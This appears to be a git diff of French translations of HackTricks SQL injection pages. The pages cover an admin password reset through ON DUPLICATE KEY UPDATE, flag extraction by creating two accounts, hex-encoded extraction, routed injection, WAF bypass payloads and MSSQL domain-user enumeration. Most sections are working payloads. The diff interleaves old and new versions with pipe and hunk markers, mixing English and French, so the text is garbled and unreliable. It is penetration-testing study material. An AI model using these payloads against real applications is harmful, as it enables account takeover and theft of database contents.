Une charge utile d'injection pourrait être conçue comme suit, où deux lignes sont tentées d'être insérées dans la table `users`. La première ligne est un leurre, et la deuxième cible l'e-mail d'un administrateur existant dans le but de mettre à jour le mot de passe :
|
||||||
|
```sql
|
||||||
|
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||||
```
|
```
|
||||||
Inject using payload:
|
Voici comment cela fonctionne :
|
||||||
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
|
|
||||||
|
|
||||||
The query would look like this:
|
- La requête tente d'insérer deux lignes : une pour `generic_user@example.com` et une autre pour `admin_generic@example.com`.
|
||||||
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
|
- Si la ligne pour `admin_generic@example.com` existe déjà, la clause `ON DUPLICATE KEY UPDATE` est déclenchée, indiquant à MySQL de mettre à jour le champ `password` de la ligne existante en "bcrypt_hash_of_newpassword".
|
||||||
|
- Par conséquent, l'authentification peut ensuite être tentée en utilisant `admin_generic@example.com` avec le mot de passe correspondant au hachage bcrypt ("bcrypt_hash_of_newpassword" représente le hachage bcrypt du nouveau mot de passe, qui doit être remplacé par le hachage réel du mot de passe souhaité).
|
||||||
|
|
||||||
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
|
|
||||||
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
|
|
||||||
|
|
||||||
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
|
|
||||||
```
|
|
||||||
### Extraire des informations
|
### Extraire des informations
|
||||||
|
|
||||||
#### Création de 2 comptes en même temps
|
#### Créer 2 comptes en même temps
|
||||||
|
|
||||||
Lorsque vous essayez de créer un nouvel utilisateur, un nom d'utilisateur, un mot de passe et une adresse e-mail sont nécessaires :
|
Lors de la tentative de création d'un nouvel utilisateur et d'un nom d'utilisateur, un mot de passe et un e-mail sont nécessaires :
|
||||||
```
|
```
|
||||||
SQLi payload:
|
SQLi payload:
|
||||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||||
|
@ -409,17 +382,13 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
||||||
```
|
```
|
||||||
#### Utilisation de décimal ou hexadécimal
|
#### Utilisation de décimal ou hexadécimal
|
||||||
|
|
||||||
Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit.
|
Avec cette technique, vous pouvez extraire des informations en créant un seul compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit.
|
||||||
|
|
||||||
En utilisant **hex2dec** et **substr** :
|
En utilisant **hex2dec** et **substr**:
|
||||||
```sql
|
```sql
|
||||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||||
```
|
```
|
||||||
```
|
Pour obtenir le texte, vous pouvez utiliser :
|
||||||
with open('/hive/hacktricks/pentesting-web/sql-injection/README.md', 'r') as file:
|
|
||||||
text = file.read()
|
|
||||||
print(text)
|
|
||||||
```
|
|
||||||
```python
|
```python
|
||||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||||
```
|
```
|
||||||
|
@ -434,24 +403,26 @@ Utilisation de **hex** et **replace** (et **substr**) :
|
||||||
```
|
```
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
## Injection SQL routée
|
## Injection SQL routée
|
||||||
|
|
||||||
L'injection SQL routée est une situation où la requête injectable n'est pas celle qui donne une sortie, mais la sortie de la requête injectable va à la requête qui donne une sortie. ([Article](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
L'injection SQL routée est une situation où la requête injectable n'est pas celle qui donne une sortie, mais la sortie de la requête injectable va à la requête qui donne une sortie. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||||
|
|
||||||
Exemple :
|
Exemple:
|
||||||
```sql
|
```
|
||||||
#Hex of: -1' union select login,password from users-- a
|
#Hex of: -1' union select login,password from users-- a
|
||||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||||
```
|
```
|
||||||
## Contournement de WAF
|
## Contournement de WAF
|
||||||
|
|
||||||
|
[Bypass initiaux à partir d'ici](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||||
|
|
||||||
### Contournement sans espaces
|
### Contournement sans espaces
|
||||||
|
|
||||||
Pas d'espace (%20) - contournement en utilisant des alternatives d'espacement.
|
Pas d'espace (%20) - contournement en utilisant des alternatives d'espacement
|
||||||
```sql
|
```sql
|
||||||
?id=1%09and%091=1%09--
|
?id=1%09and%091=1%09--
|
||||||
?id=1%0Dand%0D1=1%0D--
|
?id=1%0Dand%0D1=1%0D--
|
||||||
|
@ -460,76 +431,33 @@ Pas d'espace (%20) - contournement en utilisant des alternatives d'espacement.
|
||||||
?id=1%0Aand%0A1=1%0A--
|
?id=1%0Aand%0A1=1%0A--
|
||||||
?id=1%A0and%A01=1%A0--
|
?id=1%A0and%A01=1%A0--
|
||||||
```
|
```
|
||||||
# Pas d'espace blanc - contournement en utilisant des commentaires
|
### No Whitespace - bypass using comments
|
||||||
|
|
||||||
Lorsque l'injection SQL est effectuée dans une requête qui ne permet pas l'utilisation d'espaces blancs, il est possible de contourner cette restriction en utilisant des commentaires.
|
#### English
|
||||||
|
```plaintext
|
||||||
## Contournement
|
In some cases, the application may filter whitespace characters to prevent SQL injection attacks. However, you can bypass this restriction by using comments to separate the SQL keywords. For example, you can use `/**/` or `#` to replace spaces in your SQL injection payload. This technique allows you to evade detection and successfully execute SQL injection attacks even when whitespace filtering is in place.
|
||||||
|
|
||||||
La technique consiste à utiliser des commentaires pour masquer les espaces blancs. Les commentaires sont ignorés par le moteur de base de données, donc tout ce qui est placé à l'intérieur d'un commentaire ne sera pas considéré comme un espace blanc.
|
|
||||||
|
|
||||||
### Exemple
|
|
||||||
|
|
||||||
Supposons que nous avons une requête qui ressemble à ceci :
|
|
||||||
|
|
||||||
```
|
|
||||||
SELECT * FROM users WHERE username='admin' AND password='1234'
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Pour contourner la restriction d'espaces blancs, nous pouvons utiliser des commentaires pour masquer les espaces blancs de la manière suivante :
|
#### French
|
||||||
|
```plaintext
|
||||||
|
Dans certains cas, l'application peut filtrer les caractères d'espacement pour prévenir les attaques par injection SQL. Cependant, vous pouvez contourner cette restriction en utilisant des commentaires pour séparer les mots-clés SQL. Par exemple, vous pouvez utiliser `/**/` ou `#` pour remplacer les espaces dans votre charge utile d'injection SQL. Cette technique vous permet d'éviter la détection et d'exécuter avec succès des attaques par injection SQL même lorsque le filtrage des espaces est en place.
|
||||||
```
|
```
|
||||||
SELECT/**/*/**/FROM/**/users/**/WHERE/**/username='admin'/**/AND/**/password='1234'
|
|
||||||
```
|
|
||||||
|
|
||||||
Dans cet exemple, nous avons utilisé des commentaires pour masquer les espaces blancs entre les mots clés et les noms de table, ainsi qu'entre les noms de colonnes et les valeurs.
|
|
||||||
|
|
||||||
## Conclusion
|
|
||||||
|
|
||||||
L'utilisation de commentaires pour contourner les restrictions d'espaces blancs est une technique courante en injection SQL. Il est important de comprendre comment cela fonctionne pour pouvoir détecter et prévenir les attaques.
|
|
||||||
```sql
|
```sql
|
||||||
?id=1/*comment*/and/**/1=1/**/--
|
?id=1/*comment*/and/**/1=1/**/--
|
||||||
```
|
```
|
||||||
# Pas d'espaces - contournement en utilisant des parenthèses
|
### No Whitespace - contourner en utilisant des parenthèses
|
||||||
|
|
||||||
Lorsque l'injection SQL est effectuée dans une requête sans espaces, il peut être difficile de contourner les filtres de caractères. Cependant, une technique courante consiste à utiliser des parenthèses pour contourner les filtres.
|
Dans certains cas, les filtres de sécurité peuvent bloquer les mots-clés SQL tels que `OR` ou `AND`, mais autoriser les parenthèses. Pour contourner cette restriction, vous pouvez utiliser des parenthèses pour exécuter une injection SQL. Par exemple, au lieu d'utiliser `OR`, vous pouvez utiliser `)|`. Voici un exemple :
|
||||||
|
|
||||||
## Contournement
|
```sql
|
||||||
|
SELECT * FROM users WHERE username='admin' AND password='admin' AND (1=1)--
|
||||||
Considérons la requête suivante:
|
|
||||||
|
|
||||||
```
|
|
||||||
SELECT * FROM users WHERE username='admin' AND password='[INJECTION POINT]'
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Supposons que l'injection SQL soit la suivante:
|
Dans cet exemple, `1=1` est toujours vrai, ce qui signifie que la condition `AND` est satisfaite, et le double tiret `--` est utilisé pour commenter le reste de la requête SQL.
|
||||||
|
|
||||||
```
|
|
||||||
' or '1'='1
|
|
||||||
```
|
|
||||||
|
|
||||||
La requête finale ressemblerait à ceci:
|
|
||||||
|
|
||||||
```
|
|
||||||
SELECT * FROM users WHERE username='admin' AND password='' or '1'='1'
|
|
||||||
```
|
|
||||||
|
|
||||||
Cependant, si la requête ne contient pas d'espaces, la technique précédente ne fonctionnera pas. Dans ce cas, nous pouvons utiliser des parenthèses pour contourner les filtres. La requête finale ressemblerait à ceci:
|
|
||||||
|
|
||||||
```
|
|
||||||
SELECT * FROM users WHERE username='admin' AND password=('')
|
|
||||||
OR ('1'='1')
|
|
||||||
```
|
|
||||||
|
|
||||||
Dans cet exemple, nous avons utilisé des parenthèses pour entourer la chaîne vide, ce qui nous permet d'ajouter notre injection SQL à l'intérieur des parenthèses. De cette façon, nous avons contourné les filtres de caractères et réussi à injecter notre code malveillant dans la requête.
|
|
||||||
|
|
||||||
## Conclusion
|
|
||||||
|
|
||||||
Lorsque vous êtes confronté à une injection SQL dans une requête sans espaces, utilisez des parenthèses pour contourner les filtres de caractères et injecter votre code malveillant.
|
|
||||||
```sql
|
```sql
|
||||||
?id=(1)and(1)=(1)--
|
?id=(1)and(1)=(1)--
|
||||||
```
|
```
|
||||||
### Contournement sans virgule
|
### Pas de virgule de contournement
|
||||||
|
|
||||||
Pas de virgule - contournement en utilisant OFFSET, FROM et JOIN
|
Pas de virgule - contournement en utilisant OFFSET, FROM et JOIN
|
||||||
```
|
```
|
||||||
|
@ -539,33 +467,13 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
|
||||||
```
|
```
|
||||||
### Contournements génériques
|
### Contournements génériques
|
||||||
|
|
||||||
Liste noire utilisant des mots-clés - contournement en utilisant des majuscules/minuscules
|
Liste noire utilisant des mots-clés - contourner en utilisant des majuscules/minuscules
|
||||||
```sql
|
```sql
|
||||||
?id=1 AND 1=1#
|
?id=1 AND 1=1#
|
||||||
?id=1 AnD 1=1#
|
?id=1 AnD 1=1#
|
||||||
?id=1 aNd 1=1#
|
?id=1 aNd 1=1#
|
||||||
```
|
```
|
||||||
# Contourner une liste noire de mots-clés insensible à la casse en utilisant un opérateur équivalent
|
Utilisation d'une liste noire de mots-clés insensible à la casse - contourner en utilisant un opérateur équivalent
|
||||||
|
|
||||||
Si une application utilise une liste noire de mots-clés pour filtrer les entrées de l'utilisateur, il est possible de contourner cette mesure de sécurité en utilisant un opérateur équivalent. Par exemple, si l'application filtre les entrées de l'utilisateur en utilisant la requête suivante :
|
|
||||||
|
|
||||||
```
|
|
||||||
SELECT * FROM users WHERE username NOT LIKE '%admin%' AND password = '$password';
|
|
||||||
```
|
|
||||||
|
|
||||||
Il est possible de contourner cette mesure de sécurité en utilisant l'opérateur équivalent `ILIKE` (pour PostgreSQL) ou `LIKE BINARY` (pour MySQL) :
|
|
||||||
|
|
||||||
```
|
|
||||||
SELECT * FROM users WHERE username NOT ILIKE '%admin%' AND password = '$password';
|
|
||||||
```
|
|
||||||
|
|
||||||
ou
|
|
||||||
|
|
||||||
```
|
|
||||||
SELECT * FROM users WHERE username NOT LIKE BINARY '%admin%' AND password = '$password';
|
|
||||||
```
|
|
||||||
|
|
||||||
Ces opérateurs sont équivalents à `LIKE`, mais ils sont sensibles à la casse. En utilisant ces opérateurs, il est possible de contourner une liste noire de mots-clés insensible à la casse.
|
|
||||||
```
|
```
|
||||||
AND -> && -> %26%26
|
AND -> && -> %26%26
|
||||||
OR -> || -> %7C%7C
|
OR -> || -> %7C%7C
|
||||||
|
@ -573,7 +481,7 @@ OR -> || -> %7C%7C
|
||||||
> X -> not between 0 and X
|
> X -> not between 0 and X
|
||||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||||
```
|
```
|
||||||
### Bypass de WAF avec la notation scientifique
|
### Contournement de WAF par notation scientifique
|
||||||
|
|
||||||
Vous pouvez trouver une explication plus détaillée de cette astuce dans le [blog de gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
Vous pouvez trouver une explication plus détaillée de cette astuce dans le [blog de gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||||
Essentiellement, vous pouvez utiliser la notation scientifique de manière inattendue pour contourner le WAF :
|
Essentiellement, vous pouvez utiliser la notation scientifique de manière inattendue pour contourner le WAF :
|
||||||
|
@ -584,21 +492,21 @@ Essentiellement, vous pouvez utiliser la notation scientifique de manière inatt
|
||||||
```
|
```
|
||||||
### Contourner la restriction des noms de colonnes
|
### Contourner la restriction des noms de colonnes
|
||||||
|
|
||||||
Tout d'abord, remarquez que si la **requête originale et la table à partir de laquelle vous voulez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag`
|
Tout d'abord, remarquez que si la **requête d'origine et la table à partir de laquelle vous souhaitez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag`
|
||||||
|
|
||||||
Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme celle-ci : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une injection SQL cela ressemblerait à :
|
Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme celle-ci : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une injection SQL, cela ressemblerait à :
|
||||||
```bash
|
```bash
|
||||||
# This is an example with 3 columns that will extract the column number 3
|
# This is an example with 3 columns that will extract the column number 3
|
||||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||||
```
|
```
|
||||||
Ou en utilisant une **bypass de virgule**:
|
Ou en utilisant un **contournement de virgule** :
|
||||||
```bash
|
```bash
|
||||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||||
```
|
```
|
||||||
Cette astuce a été prise sur [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
Ce tour a été pris sur [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||||
|
|
||||||
### Outils de suggestion de contournement de WAF
|
### Outils de suggestion de contournement de pare-feu d'application web
|
||||||
|
|
||||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||||
|
|
||||||
|
@ -617,7 +525,7 @@ Cette astuce a été prise sur [https://secgroup.github.io/2017/01/03/33c3ctf-wr
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -625,10 +533,10 @@ Cette astuce a été prise sur [https://secgroup.github.io/2017/01/03/33c3ctf-wr
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,26 +2,26 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Énumération de l'Active Directory
|
## Énumération de l'annuaire actif
|
||||||
|
|
||||||
Il peut être possible de **énumérer les utilisateurs de domaine via une injection SQL à l'intérieur d'un serveur MSSQL** en utilisant les fonctions MSSQL suivantes :
|
Il peut être possible de **énumérer les utilisateurs de domaine via une injection SQL à l'intérieur d'un serveur MSSQL** en utilisant les fonctions MSSQL suivantes :
|
||||||
|
|
||||||
* **`SELECT DEFAULT_DOMAIN()`** : Obtenez le nom de domaine actuel.
|
* **`SELECT DEFAULT_DOMAIN()`** : Obtenir le nom de domaine actuel.
|
||||||
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`** : Si vous connaissez le nom du domaine (_DOMAIN_ dans cet exemple), cette fonction retournera le **SID de l'utilisateur Administrateur** au format hexadécimal. Cela ressemblera à `0x01050000000[...]0000f401`, notez comment les **4 derniers octets** sont le nombre **500** au format **big endian**, qui est l'**ID commun de l'utilisateur administrateur**.\
|
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`** : Si vous connaissez le nom du domaine (_DOMAIN_ dans cet exemple), cette fonction renverra le **SID de l'utilisateur Administrateur** au format hexadécimal. Cela ressemblera à `0x01050000000[...]0000f401`, notez comment les **4 derniers octets** sont le nombre **500** au format **big endian**, qui est l'**ID commun de l'utilisateur administrateur**.\
|
||||||
Cette fonction vous permettra de **connaître l'ID du domaine** (tous les octets sauf les 4 derniers).
|
Cette fonction vous permettra de **connaître l'ID du domaine** (tous les octets sauf les 4 derniers).
|
||||||
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Cette fonction retournera le **nom d'utilisateur de l'ID indiqué** (s'il y en a un), dans ce cas **0000e803** en big endian == **1000** (généralement c'est l'ID du premier ID d'utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez forcer brutalement les ID d'utilisateurs de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple en utilisant une fonction comme la suivante :
|
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Cette fonction renverra le **nom d'utilisateur de l'ID indiqué** (le cas échéant), dans ce cas **0000e803** en big endian == **1000** (généralement c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez effectuer une attaque par force brute sur les ID d'utilisateur de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple en utilisant une fonction comme celle-ci :
|
||||||
```python
|
```python
|
||||||
def get_sid(n):
|
def get_sid(n):
|
||||||
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
||||||
|
@ -29,11 +29,11 @@ user = struct.pack('<I', int(n))
|
||||||
user = user.hex()
|
user = user.hex()
|
||||||
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
||||||
```
|
```
|
||||||
## **Vecteurs alternatifs basés sur les erreurs**
|
## **Vecteurs basés sur les erreurs alternatifs**
|
||||||
|
|
||||||
Les injections SQL basées sur les erreurs ressemblent typiquement à des constructions telles que `+AND+1=@@version--` et des variantes basées sur l'opérateur «OR». Les requêtes contenant de telles expressions sont généralement bloquées par les WAFs. Pour contourner cela, concaténez une chaîne en utilisant le caractère %2b avec le résultat d'appels de fonctions spécifiques qui déclenchent une erreur de conversion de type de données sur les données recherchées.
|
Les injections SQL basées sur les erreurs ressemblent généralement à des constructions telles que `+AND+1=@@version--` et des variantes basées sur l'opérateur «OR». Les requêtes contenant de telles expressions sont généralement bloquées par les WAFs. Pour contourner cela, concaténez une chaîne en utilisant le caractère %2b avec le résultat d'appels de fonction spécifiques qui déclenchent une erreur de conversion de type de données sur les données recherchées.
|
||||||
|
|
